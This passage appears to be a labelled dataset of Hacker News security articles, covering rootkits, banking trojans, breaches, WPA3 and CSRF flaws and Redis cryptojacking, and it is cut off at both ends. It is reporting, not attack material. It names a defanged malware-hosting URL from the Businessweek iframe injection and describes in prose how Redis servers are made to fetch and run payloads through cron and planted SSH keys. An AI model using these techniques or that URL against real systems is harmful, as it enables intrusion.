The Facebook ecosystem contains millions of third-party apps, and unfortunately, very few of them have a vulnerability disclosure program or offer bug bounty rewards to white-hat hackers for responsibly reporting bugs in their codebase.

Because of this communication gap between researchers and the affected app developers, Facebook's security programs for 3rd-party apps and websites were, until now, just limited to ""passively observing the vulnerabilities.""

Though Facebook already once expanded its bug bounty program for 3rd-party apps late last year, the scheme was only limited to valid report submissions for the exposure of Facebook users' access tokens that allow people to log into another app using Facebook.

Efforts to Encourage Collaboration b/w Hackers and Developers

Now, to encourage third-party app developers to take the security of their apps more seriously and set up a vulnerability disclosure program, Facebook has decided to pay white-hat researchers from its own pocket even if app developers don't have their own bounty program.

""Although these bugs aren't related to our own code, we want researchers to have a clear channel to report these issues if they could lead to our users' data potentially being misused,"" Facebook says.

""We also want to incentivize researchers to focus on apps, websites, and bug bounty programs that otherwise may not get as much attention or may not have resources to incentivize the bug bounty community.""

""By committing to rewarding valid reports about bugs in third-party apps and websites that impact Facebook data, we hope to encourage the security community to engage with more app developers.""

In other words, app developers can take advantage of this program by simply setting up their own vulnerability disclosure policy, which would then help researchers to be eligible for finding bugs in their code and claim rewards from Facebook.

That's because a report of a vulnerability in third-party apps submitted to Facebook will only be considered valid when researchers include proof of authorization granted by the third-party developer when submitting their reports to Facebook's bug bounty program.

However, if the third-party developers already have their own bug bounty program, researchers can claim rewards from both parties.

Reward from Facebook will be issued depending upon the potential impact and severity of the responsibly reported vulnerability, with a minimum payout of $500.

Bug bounty programs for data abuse and 3rd-party apps affecting the whole ecosystem are a growing trend in cybersecurity. Most recently, Google also expanded its Pay Store bounty program to reward hackers for finding bugs in any Android app that has more than 100 million downloads.

However, in that case, Google takes responsibility to collaborate with app developers, while Facebook's latest scheme is also a great way to let researchers directly work with third-party developers.

",Vulnerability
Uroburos Rootkit: Most sophisticated 3-year-old Russian Cyber Espionage Campaign,https://thehackernews.com/2014/03/uroburos-rootkit-most-sophisticated-3.html,"The Continuous Growth of spyware, their existence, and the criminals who produce & spread them are increasing tremendously. It's difficult to recognize spyware as it is becoming more complex and sophisticated with time, so is spreading most rapidly as an Internet threat.

Recently, The security researchers have unearthed a very complex and sophisticated piece of malware that was designed to steal confidential data and has ability able to capture network traffic.

The Researchers at the German security company G Data Software, refer the malware as Uroburos, named after an ancient symbol depicting a serpent or dragon eating its own tail, and in correspondence with a string (Ur0bUr()sGotyOu#) lurking deep in the malware's code.

The researchers claimed that the malware may have been active for as long as three years before being discovered and appears to have been created by Russian developers.

Uroburos is a rootkit designed to steal data from secure facilities, has ability to take control of an infected machine, execute arbitrary commands and hide system activities, communicating primarily using peer-to-peer connections in a network it has penetrated to infect new machines within the network, manages to pass back the exfiltrated information back to attackers from infected machines and network data, the researchers explained.

The two main components of Uroburos are - a driver and an encrypted virtual file system, used to disguise its nasty activities and to try to avoid detection. Its driver part is extremely complex and is designed to be very discrete and very difficult to identify.

The malware uses two virtual file systems, one NTFS file system and one FAT file system, and both are stored locally on the infected system and are used as a ""workspace"" by the attackers, providing a storage space for third-party tools, post-exploitation tools, temporary files and binary output. The virtual file system can't be decrypted without the presence of drivers, according to the Gdata's analysis explained in the PDF.

The driver is needed to decrypt the virtual file systems, to create several hooks to hide its activities, to inject libraries in the users land and to establish and manage some communication channels.

""The development of a framework like Uroburos is a huge investment. The development team behind this malware obviously comprises highly skilled computer experts, as you can infer from the structure and the advanced design of the rootkit. We believe that the team behind Uroburos has continued working on even more advanced variants, which are still to be discovered.""

WITH LOVE From RUSSIA: Technical Similarities with the previous malware Agent.BTZ and that the malware Uroburos checks the presence of Agent.BTZ in the system and remains inactive if Agent.BTZ is present, makes the researchers believe that it was designed by the same by the Russian intelligence services, according to G Data analysis.
""Due to many technical details (file name, encryption keys, behavior and more details mentioned in this report), we assume that the group behind Uroburos is the same group that performed a cyberattack against the United States of America in 2008 with a malware called Agent.BTZ,"" say the researchers. They also added that the reason it is meant to be of the Russian origin is, ""Uroburos checks for the presence of Agent.BTZ and remains inactive if it is installed. It appears that the authors of Uroburos speak Russian (the language appears in a sample), which corroborates the relation to Agent.BTZ. Furthermore, according to public newspaper articles, this fact, the usage of Russian, also applied for the authors of Agent.BTZ.""
In 2008, USB and Removable storage drives placed on hold in the U.S. Army facilities after the spread of Agent.BTZ worm. The USB stick contained malicious code was trying to keep on multiplying further and infected the military's network.

The attacks carried out with Uroburos are targeting government institutions, research institutions, intelligence agencies, nation states, research institutions or companies dealing with sensitive information as well as similar high-profile targets. The oldest drivers identified by the researchers was compiled in 2011 is the evidence that the malware was created around three years ago and was undetected.
""The Uroburos rootkit is one of the most advanced rootkits we have ever analyzed in this Environment,"" the G Data concluded.
The team behind the development of the malware Uroburos has developed an even more sophisticated framework, which still remains undiscovered, the researchers believe. Many infection vectors are conceivable. E.g. Spear phishing, drive-by-infections, USB sticks, or social engineering attacks.

",Malware
Microsoft flaw allows USB loaded with payload to bypass security controls,https://thehackernews.com/2013/03/microsoft-flaw-allows-usb-loaded-with.html,"During March Patch Tuesday of 2013, Microsoft released seven new security bulletins, with four rated as critical, and others as Important. Most interesting one was MS13-027, which is rated as ""important"" because the attack requires physical access to the vulnerable machine.

This flaw allows anyone with a USB thumb drive loaded with the payload to bypass security controls and access a vulnerable system even if AutoRun is disabled, and the screen is locked. Flaw exposes your Windows PCs to major risk. If you remember Stuxnet, worm was injected to Iran's nuclear program system using USB thumb drive.
Windows typically discovers USB devices when they are inserted or when they change power sources (if they switch from plugged-in power to being powered off of the USB connection itself).

To exploit the vulnerability an attacker could add a maliciously formatted USB device to the system. When the Windows USB device drivers enumerate the device, parsing a specially crafted descriptor, the attacker could cause the system to execute malicious code in the context of the Windows kernel.

Because the vulnerability is triggered during device enumeration, no user intervention is required. In fact, the vulnerability can be triggered when the workstation is locked or when no user is logged in, making this an un-authenticated elevation of privilege for an attacker with casual physical access to the machine.

Microsoft admits the flaw could ""open additional avenues of exploitation that do not require direct physical access to the system,"" once the USB-based exploit is successful.

The vulnerabilities addressed by Microsoft do not include those exploited by security researchers at the recent Pwn2Own hacking competition at the CanSecWest Conference in Vancouver.

",Malware
"Hey, Music Lovers! Last.Fm Hack Leaks 43 Million Account Passwords",https://thehackernews.com/2016/09/lastfm-hacked.html,"Another Day, Another Data Breach!

If you love to listen to music online and have an account on Last.fm website, your account details may have compromised in a data breach that leaked more than 43 Million user personal data online.

Last.fm was hacked in March of 2012 and three months after the breach, London-based music streaming service admitted to the incident and issued a warning, encouraging its users to change their passwords.

But now it turns out that the Last.fm data breach was massive, and four years later the stolen data have surfaced in the public.

The copy of the hacked database obtained by the data breach indexing website LeakedSource contained 43,570,999 user records that were originally stolen from Last.fm on March 22, 2012, according to timestamps in the database.

The leaked records include usernames, hashed passwords, email addresses, the date when a user signed up to the website, and ad-related data.

Wait! Have you visited The Hacker News early this week? We reported about the Dropbox massive data breach that had also occurred in 2012, which let hackers get their hands on online cloud storage accounts of more than 68 Million users.

People Are Still So Bad At Picking Passwords

But what makes the Last.fm hack much worse is the weak security measures the website used to store its users' passwords.

Lat.fm stored its users' passwords using MD5 hashing – which has been considered outdated even before 2012 – and that too without any Salt, a random string added to strengthen encrypted passwords that make it more difficult for hackers to crack them.

LeakedSource says it took them just 2 hours to crack 96% of all the passwords included in the Last.fm data dump, which is possible due to the use of an unsalted MD5 hashing system to store passwords.
""This algorithm is so insecure it took us two hours to crack and convert over 96 percent of them to visible passwords,"" LeakedSource said in its blog post. adding that it recently significantly invested in its own ""password cracking capabilities for the benefit of our users.""
And guess what? Last.fm's analysis of the password reveals that the most popular passwords users kept securing their accounts were extremely weak.
255,319 people used the phrase 123456
92,652 used 'password' as password
Almost 67,000 used 'lastfm'
Around 64,000 used 123456789
46,000 used 'qwerty'
Almost 36,000 used 'abc123'
LeakedSource added the data into its database; so if you have a Last.fm account, you can check if it has been compromised by searching your data at Leaked Source's search engine.

Last.fm is the latest to join the list of ""Mega-Breaches,"" that revealed in recent months, when hundreds of Millions of online credentials from years-old data breaches on popular social network sites, including LinkedIn, MySpace, VK.com and Tumblr, were sold on the Dark Web.

The takeaway:

Change your passwords for Last.fm account as well as other online accounts immediately, especially if you are using the same password for multiple sites.

Moreover, make use of a good password manager to create complex passwords for different websites and remember them.

We have listed some of the best password managers that could help you understand the importance of password manager as well as choose one according to your requirement.

",Data_Breaches
Experts uncover a new Banking Trojan targeting Latin American users,https://thehackernews.com/2021/04/experts-uncover-new-banking-trojan.html,"Researchers on Tuesday revealed details of a new banking trojan targeting corporate users in Brazil at least since 2019 across various sectors such as engineering, healthcare, retail, manufacturing, finance, transportation, and government.
Dubbed ""Janeleiro"" by Slovak cybersecurity firm ESET, the malware aims to disguise its true intent via lookalike pop-up windows that are designed to resemble the websites of some of the biggest banks in the country, including Itaú Unibanco, Santander, Banco do Brasil, Caixa Econômica Federal, and Banco Bradesco.
""These pop-ups contain fake forms, aiming to trick the malware's victims into entering their banking credentials and personal information that the malware captures and exfiltrates to its [command-and-control] servers,"" ESET researchers Facundo Muñoz and Matías Porolli said in a write-up.
This modus operandi is not new to banking trojans. In August 2020, ESET uncovered a Latin American (LATAM) banking trojan called Mekotio that displayed similar fake pop-up windows to its victims in an attempt to entice them into divulging sensitive information.
But Janeleiro stands out for a number of reasons. One, the malware is written in Visual Basic .NET, which the researchers say is a ""big deviation"" from the Delphi programming language that's usually preferred by the threat actors in the region. It also doesn't rely on custom encryption algorithms or additional layers of obfuscation and even reuses code taken from NjRAT, a rarity among LATAM banking trojans.
The attack commences with a phishing email that purports to be an unpaid invoice, which contains a link that, when clicked, downloads a ZIP file. The archive comes with an MSI installer that loads the main trojan DLL, which subsequently fetches the IP addresses of the command-and-control (C2) servers from a GitHub page apparently created by the malware authors. The last link in the infection chain involves waiting for commands from the C2 server.
Thus in the event, a user visits the website of a banking entity of interest, Janeleiro connects to the C2 server and dynamically displays the fraudulent pop-up windows, and captures the keystrokes and other information entered in the fake forms.
ESET said it discovered four versions of Janeleiro between September 2019 to March 2021.
This is not the first time banking trojans have been spotted in the wild that have singled out Brazilian users. Last year, Kaspersky detailed at least four malware families — Guildma, Javali, Melcoz, and Grandoreiro — which were found to target financial institutions in Brazil, Latin America, and Europe.
Then earlier this January, ESET revealed a new Delphi-based banking trojan named ""Vadokrist"" that was found to target Brazil exclusively while sharing similarities with other malware families like Amavaldo, Casbaneiro, Grandoreiro, and Mekotio.
""Janeleiro follows the unique blueprint for the core implementation of the fake pop-up windows as many LATAM banking trojans, this does not seem to be a coincidence or inspiration: this actor employs and distributes Janeleiro sharing the same infrastructure as some of the most prominent of these active malware families,"" the researchers concluded.

",Malware
Trojan & Botnet Activities Increased in February-March !,https://thehackernews.com/2011/03/trojan-botnet-activities-increased-in.html,"Trojans were the most prolific malware threat in February-March, and collaboration seems to be the name of the game in malware development and distribution.


Trojan-based attacks continue to be the biggest malware threat in February, but PDF exploits aren't far behind, according to several security reports.

About 1 in 290 e-mails in February were malicious, making the month one of the most prolific periods for the threats, according to Symantec's February 2011 MessageLabs Intelligence Report. The global ratio of spam in e-mail traffic was 81.3 percent, an increase of 2.7 percent since January, the report found. The recent decline in spam appears to have reversed for the time being, according to the report.

There was a lot of botnet activity in February, and the perpetrators appeared to be working together to some extent to distribute Trojans, according to Symantec. There were signs of integration across Zeus, Bredolab and SpyEye, as techniques associated with one malware family were being used by others, Symantec said in the report.

The attacks were well-timed and used carefully targeted techniques, suggesting a ""common origin"" for these infected messages. One day, the messages would be propagating mainly Zeus variants, followed by a day dedicated to distributing SpyEye variants and later with Bredolab, in an alternating pattern, according to Paul Wood, MessageLabs Intelligence senior analyst. By the middle of the month, the variants propagated simultaneously with an advanced package that evaded traditional antivirus detection, he said.

All the attacks used a .ZIP archive attachment containing malicious code. About 1.5 percent of blocked malware had malicious .ZIP attachments, and 79.2 percent of those files were connected to the Bredolab, Zeus and SpyEye attacks, researchers said.

Contrary to recent belief, Bredolab is not dead, as MessageLabs identified at least 40 variants of malware associated with Bredolab in February, accounting for at least 10 percent of e-mail-borne malware blocked by MessageLabs Intelligence that month.

SpyEye also appeared on FortiNet's Threat Landscape report for the first time, signaling new activity and techniques.

""We're likely to see similar ongoing activity by the SpyEye group, such as routine obfuscation of their data and command and control transmissions,"" said Derek Manky, senior security strategist at Fortinet. ""SpyEye developers are also working to make their product more efficient in terms of management and automation, which is evidenced by the bot's new Automatic Transfer System.""

Both GFI Software and Symantec researchers said Trojans were the main threat in February but that PDF exploits are on the rise. Trojans accounted for six of the top 10 malware threats of February, according to GFI Software's monthly report.

Malicious PDF files now account for a larger proportion of document types used in attacks, according to Symantec. Based on current trends, Symantec predicted 76 percent of targeted malware could be used for PDF-based attacks by mid-2011.

""PDF-based targeted attacks are here to stay and are predicted to worsen as malware authors continue to innovate in the delivery, construction and obfuscation of the techniques necessary for this type of malware,"" Wood said.

China was the most spammed country in February, followed by the United States, Canada and the United Kingdom. Spam levels were 81.4 percent for the United States, compared with China's 86.2 percent. The most spammed industry sector continued to be the automotive sector, with 84.3 percent of e-mail, followed by education and pharmaceuticals.

However, governmental organizations were the most targeted for malware, with 1 in 41.1 e-mails being blocked as malicious, according to Symantec.

While virus activity increased slightly, the volume of e-mails with links to malicious Websites declined from January, Symantec said. Of the malicious domains blocked in February by MessageLabs Intelligence, 38.9 percent were new, a decline of about 2 percent since January, Symantec said. An average of 4,098 new Websites harboring malware was identified per day, a decrease of almost 14 percent since January, according to the report.

Despite more malware flooding networks, actual infection rates may be dropping, Panda Security researchers said. The security firm based its results on data gathered by Panda ActiveScan, a free online scanner available on the company's Website. Of the computers scanned in February, only 39 percent were infected with malware, compared with 50 percent in January, Panda Security said. Of the infected computers, Trojans were the most common malware found; they are responsible for 61 percent of infections.

",Malware
SysAdmin of Billion-Dollar Hacking Group Gets 10-Year Sentence,https://thehackernews.com/2021/04/sysadmin-of-billion-dollar-hacking.html,"A high-level manager and systems administrator associated with the FIN7 threat actor has been sentenced to 10 years in prison, the U.S. Department of Justice announced Friday.
Fedir Hladyr, a 35-year-old Ukrainian national, is said to have played a crucial role in a criminal scheme that compromised tens of millions of debit and credit cards, in addition to aggregating the stolen information, supervising other members of the group, and maintaining the server infrastructure that FIN7 used to attack and control victims' machines.
The development comes after Hladyr pleaded guilty to conspiracy to commit wire fraud and one count of conspiracy to commit computer hacking in September 2019. He was arrested in Dresden, Germany, in 2018 and extradited to the U.S. city of Seattle. Hladyr has also been ordered to pay $2.5 million in restitution.
""This criminal organization had more than 70 people organized into business units and teams. Some were hackers, others developed the malware installed on computers, and still others crafted the malicious emails that duped victims into infecting their company systems,"" said Acting U.S. Attorney Tessa A. Gorman.
""This defendant worked at the intersection of all these activities and thus bears heavy responsibility for billions in damage caused to companies and individual consumers.""
Also called Anunak, Carbanak Group, and the Navigator Group, the malware campaign unleashed by FIN7 is estimated to have caused overall damage of more than $3 billion to banks, merchants, card companies, and consumers.
The attacks involved targeting the restaurant, gaming, and hospitality industries by sending spear-phishing emails containing decoy documents with the goal of plundering customer payment card data, which were then used or sold for profit in online underground marketplaces at least since 2015.
In the U.S. alone, FIN7 has been responsible for the theft of more than 20 million customer card records from over 6,500 individual point-of-sale terminals at more than 3,600 separate business locations. Besides the U.S., FIN7 attackers left their fingerprints in a string of orchestrated intrusions against retailers in the U.K., Australia, and France. Some of its high-profile victims included Chipotle Mexican Grill, Chili's, Arby's, Red Robin, and Jason's Deli.
At the sentencing hearing, Hladyr said he had ""ruined years of my life and put [his] family through great risk and struggle.""

",Malware
Hackers Breached Colonial Pipeline Using Compromised VPN Password,https://thehackernews.com/2021/06/hackers-breached-colonial-pipeline.html,"The ransomware cartel that masterminded the Colonial Pipeline attack early last month crippled the pipeline operator's network using a compromised virtual private network (VPN) account password, the latest investigation into the incident has revealed.
The development, which was reported by Bloomberg on Friday, involved gaining an initial foothold into the networks as early as April 29 through the VPN account, which allowed employees to access the company's networks remotely.
The VPN login — which didn't have multi-factor protections on — was unused but active at the time of the attack, the report said, adding the password has since been discovered inside a batch of leaked passwords on the dark web, suggesting that an employee of the company may have reused the same password on another account that was previously breached.
It's, however, unclear how the password was obtained, Charles Carmakal, senior vice president at the cybersecurity firm Mandiant, was quoted as saying to the publication. The FireEye-owned subsidiary is currently assisting Colonial Pipeline with the incident response efforts following a ransomware attack on May 7 that led to the company halting its operations for nearly a week.
DarkSide, the cybercrime syndicate behind the attack, has since disbanded, but not before stealing nearly 100 gigabytes of data from Colonial Pipeline in the act of double extortion, forcing the company to pay a $4.4 million ransom shortly after the hack and avoid disclosure of sensitive information. The gang is estimated to have made away with nearly $90 million during the nine months of its operations.
The Colonial Pipeline incident has also prompted the U.S. Transportation Security Administration to issue a security directive on May 28 requiring pipeline operators to report cyberattacks to the Cybersecurity and Infrastructure Security Agency (CISA) within 12 hours, in addition to mandating facilities to submit a vulnerability assessment identifying any gaps in their existing practices within 30 days.
The development comes amid an explosion of ransomware attacks in recent months, including that of Brazilian meat processing company JBS last week by Russia-linked REvil group, underscoring a threat to critical infrastructure and introducing a new point of failure that has had a severe impact on consumer supply chains and day-to-day operations, leading to fuel shortages and delays in emergency health procedures.
As the ransom demands have ballooned drastically, inflating from thousands to millions of dollars, so have the attacks on high-profile victims, with companies in energy, education, healthcare, and food sectors increasingly becoming prime targets, in turn fueling a vicious cycle that enables cybercriminals to seek the largest payouts possible.
The profitable business model of double extortion — i.e., combining data exfiltration and ransomware threats — have also resulted in attackers expanding on the technique to what's called triple extortion, wherein payments are demanded from customers, partners, and other third-parties related to the initial breach to demand even more money for their crimes.
Worryingly, this trend of paying off criminal actors has also set off mounting concerns that it could establish a dangerous precedent, further emboldening attackers to single out critical infrastructure and put them at risk.
REvil (aka Sodinokibi), for its part, has begun incorporating a new tactic into its ransomware-as-a-service (RaaS) playbook that includes staging distributed denial-of-service (DDoS) attacks and making voice calls to the victim's business partners and the media, ""aimed at applying further pressure on the victim's company to meet ransom demands within the designated time frame,"" researchers from Check Point disclosed last month.
""By combining file encryption, data theft, and DDoS attacks, cybercriminals have essentially hit a ransomware trifecta designed to increase the possibility of payment,"" network security firm NetScout said.
The disruptive power of the ransomware pandemic has also set in motion a series of actions, what with the U.S. Federal Bureau of Investigation (FBI) making the longstanding problem a ""top priority."" The Justice Department said it's elevating investigations of ransomware attacks to a similar priority as terrorism, according to a report from Reuters last week.
Stating that the FBI is looking at ways to disrupt the criminal ecosystem that supports the ransomware industry, Director Christopher Wray told the Wall Street Journal that the agency is investigating nearly 100 different types of ransomware, most of them traced backed to Russia, while comparing the national security threat to the challenge posed by the September 11, 2001 terrorist attacks.
Update: In a Senate committee hearing on June 8, Colonial Pipeline CEO Joseph Blount said that the ransomware attack that disrupted gasoline supply in the U.S. started with the attackers exploiting a legacy VPN profile that was not intended to be in use. ""We are still trying to determine how the attackers gained the needed credentials to exploit it,"" Blunt said in his testimony.
Besides shutting down the legacy VPN profile, Blunt said extra layers of protection have been implemented across the enterprise to bolster its cyber defenses. ""But criminal gangs and nation states are always evolving, sharpening their tactics, and working to find new ways to infiltrate the systems of American companies and the American government. These attacks will continue to happen, and critical infrastructure will continue to be a target,"" he added.

",Cyber_Attack
Researchers Discover New Ways to Hack WPA3 Protected WiFi Passwords,https://thehackernews.com/2019/08/hack-wpa3-wifi-password.html,"The same team of cybersecurity researchers who discovered several severe vulnerabilities, collectively dubbed as Dragonblood, in the newly launched WPA3 WiFi security standard few months ago has now uncovered two more flaws that could allow attackers to hack WiFi passwords.

WPA, or WiFi Protected Access, is a WiFi security standard that has been designed to authenticate wireless devices using the Advanced Encryption Standard (AES) protocol and intended to prevent hackers from eavesdropping on your wireless data.

The WiFi Protected Access III (WPA3) protocol was launched a year ago in an attempt to address technical shortcomings of the WPA2 protocol from the ground, which has long been considered to be insecure and found vulnerable to more severe KRACK attacks.

WPA3 relies on a more secure handshake, called SAE (Simultaneous Authentication of Equals), which is also known as Dragonfly, that aims to protect WiFi networks against offline dictionary attacks.

However, in less than a year, security researchers Mathy Vanhoef and Eyal Ronen found several weaknesses (Dragonblood) in the early implementation of WPA3, allowing an attacker to recover WiFi passwords by abusing timing or cache-based side-channel leaks.

Shortly after that disclosure, the WiFi Alliance, the non-profit organization which oversees the adoption of the WiFi standard, released patches to address the issues and created security recommendations to mitigate the initial Dragonblood attacks.

But it turns out that those security recommendations, which were created privately without collaborating with the researchers, are not enough to protect users against the Dragonblood attacks. Instead, it opens up two new side-channel attacks, which once again allows attackers to steal your WiFi password even if you are using the latest version of WiFi protocol.

New Side-Channel Attack Against WPA3 When Using Brainpool Curves

The first vulnerability, identified as CVE-2019-13377, is a timing-based side-channel attack against WPA3's Dragonfly handshake when using Brainpool curves, which the WiFi Alliance recommended vendors to use as one of the security recommendations to add another layer of security.

""However, we found that using Brainpool curves introduces the second class of side-channel leaks in the Dragonfly handshake of WPA3,"" the duo says in an updated advisory. ""In other words, even if the advice of the WiFi Alliance is followed, implementations remain at risk of attacks.""

""The new side-channel leak is located in the password encoding algorithm of Dragonfly,"" the researchers said, ""We confirmed the new Brainpool leak in practice against the lastest Hostapd version, and were able to brute-force the password using the leaked information.""

Side-Channel Attack Against FreeRADIUS' EAP-PWD Implementation

The second vulnerability, identified as CVE-2019-13456, is an information leak bug which resides the implementation of EAP-pwd (Extensible Authentication Protocol-Password) in FreeRADIUS—one of the most widely used open-source RADIUS server that companies utilizes as a central database to authenticate remote users.

Mathy Vanhoef, one of the two researchers who discovered the Dragonblood flaws, told The Hacker News that an attacker could initiate several EAP-pwd handshakes to leak information, which can then be used to recover the user's WiFi password by performing dictionary and brute-force attacks.

""The EAP-pwd protocol internally uses the Dragonfly handshake, and this protocol is used in some enterprise networks where users authenticate using a username and password,"" Vanhoef told The Hacker News.

""More worrisome, we found that the WiFi firmware of Cypress chips only executes 8 iterations at minimum to prevent side-channel leaks. Although this makes attacks harder, it does not prevent them."" the duo said.

According to researchers, implementing Dragonfly algorithm and WPA3 without side-channel leaks is surprisingly hard, and the backward-compatible countermeasures against these attacks are too costly for lightweight devices.

The researchers shared their new findings with the WiFi Alliance and tweeted that ""WiFi standard is now being updated with proper defenses, which might lead to WPA 3.1,"" but unfortunately, the new defenses wouldn't be compatible with the initial version of WPA3.

Mathy Vanhoef also told The Hacker News that it's unfortunate that WiFi Alliance created their security guidelines in private. ""If they would have done this publicly, these new issues could have been avoided. Even the original WPA3 certification was partly made in private, which also wasn't ideal.""

",Vulnerability
Bloomberg's Businessweek website infected with Malware,https://thehackernews.com/2012/11/bloombergs-businessweek-website.html,"On a quick tip from a The Hacker News reader - Travis, we came to know about that some antivirus giving warning when readers try to visit Bloomberg's Businessweek website ( businessweek.com ) that the site is infected with malware and trying to drop a malware on visitor's system. Website having very high alexa rank, that means it server updates to millions of daily visitors. Most obvious that Bloomberg's site was hacked and then hacker was able to inject the script to infect visitors of site.

After exploring the site, I found that some ""Under Maintenance"" pages like ( hxxp://bx.businessweek.com/photos/spham708_medium.jpg ) of Businessweek website having injected iframe that trying to open a remote page uploaded on a italian website as shown below:


Injected URL : hxxp://www.lamiabiocasa.it/class/cls-memcache.php ( Do not open this page ).

We have another news from other sources that, recently around hundreds of italian websites was got hacked silently and hacker inject similar malware on those sites. On a quick search, I found that in last 24 hours Sucuri Malware Labs identified 126 websites that are compromised and serving malware from above listed site ( i.e. lamiabiocasa.it )


File ""cls-memcache.php"" which is injected behind the Bloomberg's Businessweek site have been deleted now from the italian server just few hours before but their website have the iframe still on the site.

",Malware
Kaspersky finds Malware that resides in your RAM,https://thehackernews.com/2012/03/kaspersky-finds-malware-that-resides-in.html,"Kaspersky finds Malware that resides in your RAM

Kaspersky Lab researchers have discovered a drive-by download attack that evades hard-drive checkers by installing malware that lives in the computer's memory. The 'fileless' bot is more difficult for antivirus software to detect, and resides in memory until the machine is rebooted.

This Malware doesn't create any files on the affected systems was dropped on to the computers of visitors to popular news sites in Russia in a drive-by download attack.Drive-by download attacks are one of the primary methods of distributing malware over the web. They usually exploit vulnerabilities in outdated software products to infect computers without requiring user interaction.

The attack code loaded an exploit for a known Java vulnerability (CVE-2011-3544), but it wasn't hosted on the affected websites themselves. Once the malware infected a Microsoft machine, the bot disabled User Account Control, contacted a command and control server and downloaded the 'Lurk' Trojan. The malware also attacked Apple devices.

The Java exploit's payload consisted of a rogue DLL that was loaded and attached on the fly to the legitimate Java process.Normally this malware is rare, because it dies when the system is rebooted and the memory is cleared. But the hackers do not really care because there is a good chance that most victims would revisit the infected news websites.Once the malicious DLL loaded into memory it sends data and receives instructions from a command and control server over HTTP.

",Malware
Samsung 'Find My Mobile' Flaw Allows Hacker to Remotely Lock Your Device,https://thehackernews.com/2014/10/samsung-find-my-mobile-flaw-allows.html,"The National Institute of Standards and Technology (NIST) is warning users of a newly discovered Zero-Day flaw in the Samsung Find My Mobile service, which fails to validate the sender of a lock-code data received over a network.

The Find My Mobile feature implemented by Samsung in their devices is a mobile web-service that provides samsung users a bunch of features to locate their lost device, to play an alert on a remote device and to lock remotely the mobile phone so that no one else can get the access to the lost device.

The vulnerability in Samsung's Find My Mobile feature was discovered by Mohamed Abdelbaset Elnoby (@SymbianSyMoh), an Information Security Evangelist from Egypt. The flaw is a Cross-Site Request Forgery (CSRF) that could allow an attacker to remotely lock or unlock the device and even make the device rings too.

Cross-Site Request Forgery (CSRF or XSRF) is an attack that tricks the victim into loading a page that contains a specially crafted HTML exploit page. Basically, an attacker will use CSRF attack to trick a victim into clicking a URL link that contains malicious or unauthorized requests.

The malicious link have the same privileges as the authorized user to perform an undesired task on the behalf of the victim, like change the victim's e-mail address, home address, or password, or purchase something. CSRF attack generally targets functions that cause a state change on the server but it can also be used to access victim's sensitive data.
""In this way, the attacker can make the victim perform actions that they didn't intend to, such as logout, purchase item, change account information, retrieve account information, or any other function provided by the vulnerable website,"" Elnoby said.
The researcher has also provided a proof-of-concept (POC) video that will give you a detail explanation on How the researcher made the attack work on Samsung's Find My Mobile feature.

According to the researcher, the first attack to remotely lock victim's device is critical if exploited because the attackers are able to lock victim's device with a lock code of their own choice, forcing the victim to do a recovery for the lock code with his Google Account.

The US-CERT/NIST identified the vulnerability in the Samsung Find My Mobile as CVE-2014-8346 and rated the severity of the flaw as HIGH, whereas the exploitability score of the flaw is 10.0.
""The Remote Controls feature on Samsung mobile devices does not validate the source of lock-code data received over a network, which makes it easier for remote attackers to cause a denial of service (screen locking with an arbitrary code) by triggering unexpected Find My Mobile network traffic,"" the security advisory issued by the NIST states.

",Vulnerability
75% of the 'Left to Get Hacked' Redis Servers Found Infected,https://thehackernews.com/2018/06/redis-server-hacking.html,"Despite the continual emergence of new cyber attacks because of misconfigured servers and applications, people continue to ignore security warnings.

A massive malware campaign designed to target open Redis servers, about which researchers warned almost two months ago, has now grown and already hijacked at least 75% of the total servers running publicly accessible Redis instances.

Redis, or REmote DIctionary Server, is an open source, widely popular data structure tool that can be used as an in-memory distributed database, message broker or cache. Since it is designed to be accessed inside trusted environments, it should not be exposed on the Internet.

Dubbed RedisWannaMine, a similar malware leveraging same loophole was discovered in late March by data center security vendor Imperva and designed to drop a cryptocurrency mining script on the targeted servers—both database and application.

According to Imperva's March blog post, this cryptojacking threat was ""more complex in terms of evasion techniques and capabilities. It demonstrates a worm-like behavior combined with advanced exploits to increase the attackers' infection rate and fatten their wallets.""

A newly published report from the same security firm has now revealed that three-quarters of the open Redis servers accessible from the Internet (over port 6379) contain malicious sets of a key-value pair in the memory, indicating despite multiple warnings administrators continue to leave their servers vulnerable to hackers.

Out of total compromised servers, 68 percent systems were found infected using similar keys, named ""backup1, backup2, backup3,"" which were attacked from a medium-sized botnet located at China (86% of IPs), according to the data Imperva collected from their self-set-up publicly available Redis servers to serve as a honeypot.

Moreover, the attackers have now found using the compromised servers as a proxy to scan and find vulnerabilities, including SQL injection, cross-site scripting, malicious file uploads, and remote code executions, in other websites.

The new attack works by setting a malicious key-value pair in the memory and saving it as a file in the /etc/crontabs folder that forces the server to execute the file.
""Attackers usually set values that include commands to download external remote resource and run it. Another popular type of command is adding SSH keys, so the attacker can remotely access the machine and take it over,"" Nadav Avital, security research team leader at Imperva, explains in a blog post.
To protect Redis servers from falling victim to such attacks, administrators are advised never to expose their servers to the Internet, but if required, apply authentication mechanism to prevent unauthorized access.

Also, since Redis doesn't use encryption and stores data in plain text, you should never store any sensitive data on these servers.
""Security issues commonly arise when people don't read the documentation and migrate services to the cloud, without being aware of the consequences or the adequate measures that are needed to do so,"" Avital said.

",Cyber_Attack
Unpatchable Flaw in Modern Cars Allows Hackers to Disable Safety Features,https://thehackernews.com/2017/08/car-safety-hacking.html,"Today, many automobiles companies are offering vehicles that run on the mostly drive-by-wire system, which means a majority of car's functions—from instrument cluster to steering, brakes, and accelerator—are electronically controlled.

No doubt these auto-control systems make your driving experience much better, but at the same time, they also increase the risk of getting hacked.

Car Hacking is a hot topic, though it is not new for security researchers who hack cars. A few of them have already demonstrated how to hijack a car remotely, how to disable car's crucial functions like airbags, and even how to remotely steal cars.

Now, security researchers have discovered a new hacking trick that can allow attackers to disable airbags and other safety systems of the connected cars, affecting a large number of vendors and vehicle models.

A team of researchers from Trend Micro's Forward-looking Threat Research (FTR) team, in collaboration with Politecnico di Milano and Linklayer Labs, discovered a critical security vulnerability in the CAN (controller area network) protocol that car components use to communicate to one another within the car's network.

Hackers Can Remotely Take Control of Smart Cars
Initially developed in 1983 and put into production in 1989, the CAN standard manages the majority of the electrical subsystems and control units found in a significant number of modern smart cars.

If exploited, the vulnerability could eventually allow attackers to turn off crucial safety functions of a vehicle, such as airbags, power-steering, parking sensors, and the anti-lock brakes—or almost any computerised component that's connected to the car's CAN bus.

Since the CAN standard is being used in ""practically every light-duty vehicle currently in circulation today,"" the fundamental security flaw affects all modern, internet-connected vehicles, rather than just a particular vendor.

